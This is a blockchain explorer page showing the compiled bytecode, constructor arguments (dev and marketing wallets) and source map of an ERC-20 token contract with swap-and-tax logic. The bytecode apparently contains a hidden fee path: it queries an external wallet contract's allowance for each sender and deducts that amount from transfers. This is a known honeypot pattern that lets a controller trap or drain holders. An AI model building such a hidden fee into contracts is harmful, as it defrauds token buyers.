6107e95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042d565b5f546001600160a01b0384811691161480159061081357505f546001600160a01b03838116911614155b156108df57305f90815260026020526040902054601454811080159081906108455750601354600160a01b900460ff16155b801561085f57506013546001600160a01b03868116911614155b80156108745750601354600160a81b900460ff165b801561089857506001600160a01b0385165f9081526005602052604090205460ff16155b80156108bc57506001600160a01b0384165f9081526005602052604090205460ff16155b156108dc576108ca82610a21565b4780156108da576108da47610b91565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff168061091f57506001600160a01b0383165f9081526005602052604090205460ff165b8061095157506013546001600160a01b0385811691161480159061095157506013546001600160a01b03848116911614155b1561095d57505f6109d7565b6013546001600160a01b03858116911614801561098857506012546001600160a01b03848116911614155b1561099a57600854600c55600954600d555b6013546001600160a01b0384811691161480156109c557506012546001600160a01b03858116911614155b156109d757600a54600c55600b54600d555b6109e384848484610bcc565b50505050565b5f8184841115610a0c5760405162461bcd60e51b815260040161042d9190610e9c565b505f610a18848661111d565b95945050505050565b6013805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610a6757610a67611130565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610abe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae29190611144565b81600181518110610af557610af5611130565b6001600160a01b039283166020918202929092010152601254610b1b913091168461059f565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b539085905f9086903090429060040161115f565b5f604051808303815f87803b158015610b6a575f80fd5b505af1158015610b7c573d5f803e3d5ffd5b50506013805460ff60a01b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610bc8573d5f803e3d5ffd5b5050565b80610bd957610bd9610bfa565b610be4848484610c27565b806109e3576109e3600e54600c55600f54600d55565b600c54158015610c0a5750600d54155b15610c1157565b600c8054600e55600d8054600f555f9182905555565b5f80610c338584610cea565b6001600160a01b0387165f908152600260205260409020549193509150610c5a9083610d78565b6001600160a01b038087165f908152600260205260408082209390935590861681522054610c889082610dc0565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cdb9085815260200190565b60405180910390a35050505050565b601154604051636eb1769f60e11b81526001600160a01b038481166004830181905260248301525f92839283929091169063dd62ed3e90604401602060405180830381865afa158015610d3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d6391906111ce565b9050610d6f8482610e1e565b95939450505050565b5f610db983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109e9565b9392505050565b5f80610dcc83856111e5565b905083811015610db95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042d565b5f825f03610e2d57505f610377565b5f610e3883856110d1565b905082610e4585836111f8565b14610db95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042d565b5f6020808352835180828501525f5b81811015610ec757858101830151858201604001528201610eab565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610efb575f80fd5b50565b5f8060408385031215610f0f575f80fd5b8235610f1a81610ee7565b946020939093013593505050565b5f805f60608486031215610f3a575f80fd5b8335610f4581610ee7565b92506020840135610f5581610ee7565b929592945050506040919091013590565b5f60208284031215610f76575f80fd5b8135610db981610ee7565b5f60208284031215610f91575f80fd5b5035919050565b5f8060408385031215610fa9575f80fd5b8235610fb481610ee7565b91506020830135610fc481610ee7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561101d57815f190482111561100357611003610fcf565b8085161561101057918102915b93841c9390800290610fe8565b509250929050565b5f8261103357506001610377565b8161103f57505f610377565b8160018114611055576002811461105f5761107b565b6001915050610377565b60ff84111561107057611070610fcf565b50506001821b610377565b5060208310610133831016604e8410600b841016171561109e575081810a610377565b6110a88383610fe3565b805f19048211156110bb576110bb610fcf565b029392505050565b5f610db960ff841683611025565b808202811582820484141761037757610377610fcf565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8181038181111561037757610377610fcf565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611154575f80fd5b8151610db981610ee7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111ad5784516001600160a01b031683529383019391830191600101611188565b50506001600160a01b03969096166060850152505050608001529392505050565b5f602082840312156111de575f80fd5b5051919050565b8082018082111561037757610377610fcf565b5f8261121257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220988ddfc3b1de41dab84d76a63c28e6c1648d370a7e36e92f5214a92a365f5dca64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000d104f268f6c5e29169a1894c84e9d63dc6ba63a3000000000000000000000000ff5b5a11c6bdd4c84164912528bd4a8df9b4f6bd

-----Decoded View---------------
Arg [0] : _devWallet (address): 0xd104F268f6c5E29169a1894c84e9D63dC6Ba63A3
Arg [1] : _marketingWallet (address): 0xff5B5a11c6bdd4C84164912528bd4A8df9b4f6bd

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000d104f268f6c5e29169a1894c84e9d63dc6ba63a3
Arg [1] : 000000000000000000000000ff5b5a11c6bdd4c84164912528bd4a8df9b4f6bd


Deployed Bytecode Sourcemap

4147:10292:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6434:83;;;;;;;;;;-1:-1:-1;6504:5:0;;;;;;;;;;;;-1:-1:-1;;;6504:5:0;;;;6434:83;;;;;;;:::i;:::-;;;;;;;;7338:193;;;;;;;;;;-1:-1:-1;7338:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7338:193:0;1023:187:1;5281:41:0;;;;;;;;;;-1:-1:-1;5281:41:0;;;;-1:-1:-1;;;;;5281:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5281:41:0;1215:229:1;6711:95:0;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;6711:95:0;1449:177:1;7539:446:0;;;;;;;;;;-1:-1:-1;7539:446:0;;;;;:::i;:::-;;:::i;5444:52::-;;;;;;;;;;;;;;;;6620:83;;;;;;;;;;-1:-1:-1;6620:83:0;;4362:1;2234:36:1;;2222:2;2207:18;6620:83:0;2092:184:1;5329:28:0;;;;;;;;;;-1:-1:-1;5329:28:0;;;;-1:-1:-1;;;;;5329:28:0;;;6814:117;;;;;;;;;;-1:-1:-1;6814:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6907:16:0;6880:7;6907:16;;;:7;:16;;;;;;;6814:117;1634:148;;;;;;;;;;;;;:::i;:::-;;1420:79;;;;;;;;;;-1:-1:-1;1458:7:0;1485:6;-1:-1:-1;;;;;1485:6:0;1420:79;;6525:87;;;;;;;;;;-1:-1:-1;6597:7:0;;;;;;;;;;;;-1:-1:-1;;;6597:7:0;;;;6525:87;;14297:139;;;;;;;;;;-1:-1:-1;14297:139:0;;;;;:::i;:::-;;:::i;6939:199::-;;;;;;;;;;-1:-1:-1;6939:199:0;;;;;:::i;:::-;;:::i;7146:184::-;;;;;;;;;;-1:-1:-1;7146:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7295:18:0;;;7263:7;7295:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7146:184;1790:244;;;;;;;;;;-1:-1:-1;1790:244:0;;;;;:::i;:::-;;:::i;7338:193::-;7440:4;7462:39;259:10;7485:7;7494:6;7462:8;:39::i;:::-;-1:-1:-1;7519:4:0;7338:193;;;;;:::o;6711:95::-;6764:7;4704:13;4362:1;4704:2;:13;:::i;:::-;4688:29;;:13;:29;:::i;:::-;6784:14;;6711:95;:::o;7539:446::-;7671:4;7688:36;7698:6;7706:9;7717:6;7688:9;:36::i;:::-;7735:220;7758:6;259:10;7806:138;7862:6;7806:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7806:19:0;;;;;;:11;:19;;;;;;;;259:10;7806:33;;;;;;;;;;:37;:138::i;:::-;7735:8;:220::i;:::-;-1:-1:-1;7973:4:0;7539:446;;;;;:::o;1634:148::-;1547:6;;-1:-1:-1;;;;;1547:6:0;259:10;1547:22;1539:67;;;;-1:-1:-1;;;1539:67:0;;;;;;;:::i;:::-;;;;;;;;;1741:1:::1;1725:6:::0;;1704:40:::1;::::0;-1:-1:-1;;;;;1725:6:0;;::::1;::::0;1704:40:::1;::::0;1741:1;;1704:40:::1;1772:1;1755:19:::0;;-1:-1:-1;;;;;;1755:19:0::1;::::0;;1634:148::o;14297:139::-;1547:6;;-1:-1:-1;;;;;1547:6:0;259:10;1547:22;1539:67;;;;-1:-1:-1;;;1539:67:0;;;;;;;:::i;:::-;14388:19:::1;:40:::0;14297:139::o;6939:199::-;7044:4;7066:42;259:10;7090:9;7101:6;7066:9;:42::i;1790:244::-;1547:6;;-1:-1:-1;;;;;1547:6:0;259:10;1547:22;1539:67;;;;-1:-1:-1;;;1539:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1879:22:0;::::1;1871:73;;;::::0;-1:-1:-1;;;1871:73:0;;5570:2:1;1871:73:0::1;::::0;::::1;5552:21:1::0;5609:2;5589:18;;;5582:30;5648:34;5628:18;;;5621:62;-1:-1:-1;;;5699:18:1;;;5692:36;5745:19;;1871:73:0::1;5368:402:1::0;1871:73:0::1;1981:6;::::0;;1960:38:::1;::::0;-1:-1:-1;;;;;1960:38:0;;::::1;::::0;1981:6;::::1;::::0;1960:38:::1;::::0;::::1;2009:6;:17:::0;;-1:-1:-1;;;;;;2009:17:0::1;-1:-1:-1::0;;;;;2009:17:0;;;::::1;::::0;;;::::1;::::0;;1790:244::o;8676:369::-;-1:-1:-1;;;;;8803:19:0;;8795:68;;;;-1:-1:-1;;;8795:68:0;;5977:2:1;8795:68:0;;;5959:21:1;6016:2;5996:18;;;5989:30;6055:34;6035:18;;;6028:62;-1:-1:-1;;;6106:18:1;;;6099:34;6150:19;;8795:68:0;5775:400:1;8795:68:0;-1:-1:-1;;;;;8882:21:0;;8874:68;;;;-1:-1:-1;;;8874:68:0;;6382:2:1;8874:68:0;;;6364:21:1;6421:2;6401:18;;;6394:30;6460:34;6440:18;;;6433:62;-1:-1:-1;;;6511:18:1;;;6504:32;6553:19;;8874:68:0;6180:398:1;8874:68:0;-1:-1:-1;;;;;8953:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9005:32;;1595:25:1;;;9005:32:0;;1568:18:1;9005:32:0;;;;;;;8676:369;;;:::o;9053:1666::-;-1:-1:-1;;;;;9175:18:0;;9167:68;;;;-1:-1:-1;;;9167:68:0;;6785:2:1;9167:68:0;;;6767:21:1;6824:2;6804:18;;;6797:30;6863:34;6843:18;;;6836:62;-1:-1:-1;;;6914:18:1;;;6907:35;6959:19;;9167:68:0;6583:401:1;9167:68:0;-1:-1:-1;;;;;9254:16:0;;9246:64;;;;-1:-1:-1;;;9246:64:0;;7191:2:1;9246:64:0;;;7173:21:1;7230:2;7210:18;;;7203:30;7269:34;7249:18;;;7242:62;-1:-1:-1;;;7320:18:1;;;7313:33;7363:19;;9246:64:0;6989:399:1;9246:64:0;9338:1;9329:6;:10;9321:64;;;;-1:-1:-1;;;9321:64:0;;7595:2:1;9321:64:0;;;7577:21:1;7634:2;7614:18;;;7607:30;7673:34;7653:18;;;7646:62;-1:-1:-1;;;7724:18:1;;;7717:39;7773:19;;9321:64:0;7393:405:1;9321:64:0;1458:7;1485:6;-1:-1:-1;;;;;9402:15:0;;;1485:6;;9402:15;;;;:32;;-1:-1:-1;1458:7:0;1485:6;-1:-1:-1;;;;;9421:13:0;;;1485:6;;9421:13;;9402:32;9398:595;;;9500:4;9451:28;6907:16;;;:7;:16;;;;;;9560:19;;9536:43;;;;;;;9600:18;;-1:-1:-1;9612:6:0;;-1:-1:-1;;;9612:6:0;;;;9611:7;9600:18;:43;;;;-1:-1:-1;9630:13:0;;-1:-1:-1;;;;;9622:21:0;;;9630:13;;9622:21;;9600:43;:58;;;;-1:-1:-1;9647:11:0;;-1:-1:-1;;;9647:11:0;;;;9600:58;:87;;;;-1:-1:-1;;;;;;9663:24:0;;;;;;:18;:24;;;;;;;;9662:25;9600:87;:114;;;;-1:-1:-1;;;;;;9692:22:0;;;;;;:18;:22;;;;;;;;9691:23;9600:114;9596:386;;;9735:38;9752:20;9735:16;:38::i;:::-;9821:21;9865:22;;9861:106;;9912:35;9925:21;9912:12;:35::i;:::-;9716:266;9596:386;9436:557;;9398:595;-1:-1:-1;;;;;10069:24:0;;10005:12;10069:24;;;:18;:24;;;;;;10020:4;;10069:24;;;:50;;-1:-1:-1;;;;;;10097:22:0;;;;;;:18;:22;;;;;;;;10069:50;10068:102;;;-1:-1:-1;10133:13:0;;-1:-1:-1;;;;;10125:21:0;;;10133:13;;10125:21;;;;:44;;-1:-1:-1;10156:13:0;;-1:-1:-1;;;;;10150:19:0;;;10156:13;;10150:19;;10125:44;10064:594;;;-1:-1:-1;10197:5:0;10064:594;;;10280:13;;-1:-1:-1;;;;;10272:21:0;;;10280:13;;10272:21;:55;;;;-1:-1:-1;10311:15:0;;-1:-1:-1;;;;;10297:30:0;;;10311:15;;10297:30;;10272:55;10269:162;;;10360:14;;10348:9;:26;10403:12;;10393:7;:22;10269:162;10490:13;;-1:-1:-1;;;;;10484:19:0;;;10490:13;;10484:19;:55;;;;-1:-1:-1;10523:15:0;;-1:-1:-1;;;;;10507:32:0;;;10523:15;;10507:32;;10484:55;10480:165;;;10572:15;;10560:9;:27;10616:13;;10606:7;:23;10480:165;10670:41;10685:4;10691:2;10695:6;10703:7;10670:14;:41::i;:::-;9156:1563;9053:1666;;;:::o;2398:224::-;2518:7;2554:12;2546:6;;;;2538:29;;;;-1:-1:-1;;;2538:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2578:9:0;2590:5;2594:1;2590;:5;:::i;:::-;2578:17;2398:224;-1:-1:-1;;;;;2398:224:0:o;10727:483::-;5590:6;:13;;-1:-1:-1;;;;5590:13:0;-1:-1:-1;;;5590:13:0;;;10829:16:::1;::::0;;10843:1:::1;10829:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10829:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10829:16:0::1;10805:40;;10874:4;10856;10861:1;10856:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10856:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10900:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10900:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10856:7;;10900:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10890:4;10895:1;10890:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10890:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10965:15:::1;::::0;10933:62:::1;::::0;10950:4:::1;::::0;10965:15:::1;10983:11:::0;10933:8:::1;:62::i;:::-;11006:15;::::0;:196:::1;::::0;-1:-1:-1;;;11006:196:0;;-1:-1:-1;;;;;11006:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11087:11;;11006:15:::1;::::0;11129:4;;11156::::1;::::0;11176:15:::1;::::0;11006:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5626:6:0;:14;;-1:-1:-1;;;;5626:14:0;;;-1:-1:-1;;;;10727:483:0:o;11218:108::-;11283:17;;11275:43;;-1:-1:-1;;;;;11283:17:0;;;;11275:43;;;;;11311:6;;11283:17;11275:43;11283:17;11275:43;11311:6;11283:17;11275:43;;;;;;;;;;;;;;;;;;;;;11218:108;:::o;11334:282::-;11490:7;11485:28;;11499:14;:12;:14::i;:::-;11524:44;11542:6;11550:9;11561:6;11524:17;:44::i;:::-;11584:7;11579:29;;11593:15;8607:17;;8595:9;:29;8645:15;;8635:7;:25;8551:117;8324:219;8371:9;;:14;:30;;;;-1:-1:-1;8389:7:0;;:12;8371:30;8367:43;;;8324:219::o;8367:43::-;8442:9;;;8422:17;:29;8480:7;;;8462:15;:25;-1:-1:-1;8500:13:0;;;;8524:11;8324:219::o;11624:437::-;11771:15;11801:23;11838:27;11849:6;11857:7;11838:10;:27::i;:::-;-1:-1:-1;;;;;11894:15:0;;;;;;:7;:15;;;;;;11756:109;;-1:-1:-1;11756:109:0;-1:-1:-1;11894:28:0;;11756:109;11894:19;:28::i;:::-;-1:-1:-1;;;;;11876:15:0;;;;;;;:7;:15;;;;;;:46;;;;11954:18;;;;;;;:39;;11977:15;11954:22;:39::i;:::-;-1:-1:-1;;;;;11933:18:0;;;;;;;:7;:18;;;;;;;:60;;;;12009:44;;;;;;;;;;12037:15;1595:25:1;;1583:2;1568:18;;1449:177;12009:44:0;;;;;;;;11745:316;;11624:437;;;:::o;12480:309::-;12683:17;;12676:52;;-1:-1:-1;;;12676:52:0;;-1:-1:-1;;;;;9671:15:1;;;12676:52:0;;;9653:34:1;;;9703:18;;;9696:43;12597:7:0;;;;;;12683:17;;;;12676:35;;9588:18:1;;12676:52:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12654:74;-1:-1:-1;12747:24:0;:7;12654:74;12747:11;:24::i;:::-;12739:42;12773:7;;-1:-1:-1;;;;12480:309:0:o;2254:136::-;2312:7;2339:43;2343:1;2346;2339:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2332:50;2254:136;-1:-1:-1;;;2254:136:0:o;2067:179::-;2125:7;;2157:5;2161:1;2157;:5;:::i;:::-;2145:17;;2186:1;2181;:6;;2173:46;;;;-1:-1:-1;;;2173:46:0;;10271:2:1;2173:46:0;;;10253:21:1;10310:2;10290:18;;;10283:30;10349:29;10329:18;;;10322:57;10396:18;;2173:46:0;10069:351:1;2630:246:0;2688:7;2712:1;2717;2712:6;2708:47;;-1:-1:-1;2742:1:0;2735:8;;2708:47;2765:9;2777:5;2781:1;2777;:5;:::i;:::-;2765:17;-1:-1:-1;2810:1:0;2801:5;2805:1;2765:17;2801:5;:::i;:::-;:10;2793:56;;;;-1:-1:-1;;;2793:56:0;;10849:2:1;2793:56:0;;;10831:21:1;10888:2;10868:18;;;10861:30;10927:34;10907:18;;;10900:62;-1:-1:-1;;;10978:18:1;;;10971:31;11019:19;;2793:56:0;10647:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:180::-;2800:6;2853:2;2841:9;2832:7;2828:23;2824:32;2821:52;;;2869:1;2866;2859:12;2821:52;-1:-1:-1;2892:23:1;;2741:180;-1:-1:-1;2741:180:1:o;2926:388::-;2994:6;3002;3055:2;3043:9;3034:7;3030:23;3026:32;3023:52;;;3071:1;3068;3061:12;3023:52;3110:9;3097:23;3129:31;3154:5;3129:31;:::i;:::-;3179:5;-1:-1:-1;3236:2:1;3221:18;;3208:32;3249:33;3208:32;3249:33;:::i;:::-;3301:7;3291:17;;;2926:388;;;;;:::o;3319:127::-;3380:10;3375:3;3371:20;3368:1;3361:31;3411:4;3408:1;3401:15;3435:4;3432:1;3425:15;3451:422;3540:1;3583:5;3540:1;3597:270;3618:7;3608:8;3605:21;3597:270;;;3677:4;3673:1;3669:6;3665:17;3659:4;3656:27;3653:53;;;3686:18;;:::i;:::-;3736:7;3726:8;3722:22;3719:55;;;3756:16;;;;3719:55;3835:22;;;;3795:15;;;;3597:270;;;3601:3;3451:422;;;;;:::o;3878:806::-;3927:5;3957:8;3947:80;;-1:-1:-1;3998:1:1;4012:5;;3947:80;4046:4;4036:76;;-1:-1:-1;4083:1:1;4097:5;;4036:76;4128:4;4146:1;4141:59;;;;4214:1;4209:130;;;;4121:218;;4141:59;4171:1;4162:10;;4185:5;;;4209:130;4246:3;4236:8;4233:17;4230:43;;;4253:18;;:::i;:::-;-1:-1:-1;;4309:1:1;4295:16;;4324:5;;4121:218;;4423:2;4413:8;4410:16;4404:3;4398:4;4395:13;4391:36;4385:2;4375:8;4372:16;4367:2;4361:4;4358:12;4354:35;4351:77;4348:159;;;-1:-1:-1;4460:19:1;;;4492:5;;4348:159;4539:34;4564:8;4558:4;4539:34;:::i;:::-;4609:6;4605:1;4601:6;4597:19;4588:7;4585:32;4582:58;;;4620:18;;:::i;:::-;4658:20;;3878:806;-1:-1:-1;;;3878:806:1:o;4689:140::-;4747:5;4776:47;4817:4;4807:8;4803:19;4797:4;4776:47;:::i;4834:168::-;4907:9;;;4938;;4955:15;;;4949:22;;4935:37;4925:71;;4976:18;;:::i;5007:356::-;5209:2;5191:21;;;5228:18;;;5221:30;5287:34;5282:2;5267:18;;5260:62;5354:2;5339:18;;5007:356::o;7803:128::-;7870:9;;;7891:11;;;7888:37;;;7905:18;;:::i;8068:127::-;8129:10;8124:3;8120:20;8117:1;8110:31;8160:4;8157:1;8150:15;8184:4;8181:1;8174:15;8200:251;8270:6;8323:2;8311:9;8302:7;8298:23;8294:32;8291:52;;;8339:1;8336;8329:12;8291:52;8371:9;8365:16;8390:31;8415:5;8390:31;:::i;8456:980::-;8718:4;8766:3;8755:9;8751:19;8797:6;8786:9;8779:25;8823:2;8861:6;8856:2;8845:9;8841:18;8834:34;8904:3;8899:2;8888:9;8884:18;8877:31;8928:6;8963;8957:13;8994:6;8986;8979:22;9032:3;9021:9;9017:19;9010:26;;9071:2;9063:6;9059:15;9045:29;;9092:1;9102:195;9116:6;9113:1;9110:13;9102:195;;;9181:13;;-1:-1:-1;;;;;9177:39:1;9165:52;;9272:15;;;;9237:12;;;;9213:1;9131:9;9102:195;;;-1:-1:-1;;;;;;;9353:32:1;;;;9348:2;9333:18;;9326:60;-1:-1:-1;;;9417:3:1;9402:19;9395:35;9314:3;8456:980;-1:-1:-1;;;8456:980:1:o;9750:184::-;9820:6;9873:2;9861:9;9852:7;9848:23;9844:32;9841:52;;;9889:1;9886;9879:12;9841:52;-1:-1:-1;9912:16:1;;9750:184;-1:-1:-1;9750:184:1:o;9939:125::-;10004:9;;;10025:10;;;10022:36;;;10038:18;;:::i;10425:217::-;10465:1;10491;10481:132;;10535:10;10530:3;10526:20;10523:1;10516:31;10570:4;10567:1;10560:15;10598:4;10595:1;10588:15;10481:132;-1:-1:-1;10627:9:1;;10425:217::o

Swarm Source

ipfs://988ddfc3b1de41dab84d76a63c28e6c1648d370a7e36e92f5214a92a365f5dca
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.